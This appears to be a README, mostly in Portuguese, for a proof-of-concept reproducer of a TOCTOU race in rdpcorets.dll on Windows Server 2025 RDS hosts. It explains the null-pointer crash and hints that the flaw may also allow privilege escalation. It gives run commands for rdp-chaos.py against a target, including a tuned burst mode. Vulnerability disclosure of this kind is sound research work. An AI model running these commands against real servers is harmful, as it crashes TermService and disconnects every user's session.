
PoC reproducer para CVE-2026-50369, uma condição de corrida TOCTOU em rdpcorets.dll no Windows Server 2025 RDS Session Hosts, causando DoS no TermService através da desconexão da sessão RDP.
reprodutor para uma condição de corrida TOCTOU em rdpcorets.dll!CRdpPipeGfxPlugin::Enable em Windows Server 2025 RDS Session Hosts.
reportei isso como um DoS; o caminho de código parece de alguma forma também permitir EoP. este reprodutor é um PoC apenas para o caminho de DoS.
Enable lê um ponteiro de interface COM em this+0x60 duas vezes sem sincronização. TerminateInstance limpa o mesmo campo fora do escopo de sua própria seção crítica. Ambos executam concorrentemente no pool de threads NT via itens de trabalho de chegada e remoção de dispositivo PnP. A segunda leitura desreferencia null → violação de acesso → crash do TermService → todas as sessões RDP ativas desconectadas.
# install dependencies (Debian/Ubuntu)
sudo apt install -y freerdp3-x11 xvfb python3 # or freerdp2-x11
# create credentials file
echo -e "user1:pass1\nuser2:pass2\nuser3:pass3" > credentials.txt
# standard mode
python3 rdp-chaos.py --server <target> --creds credentials.txt
# burst mode (faster trigger)
python3 rdp-chaos.py --server <target> --creds credentials.txt \
--burst --burst-count 16 --burst-kill-hold 0.1 --burst-race 0.030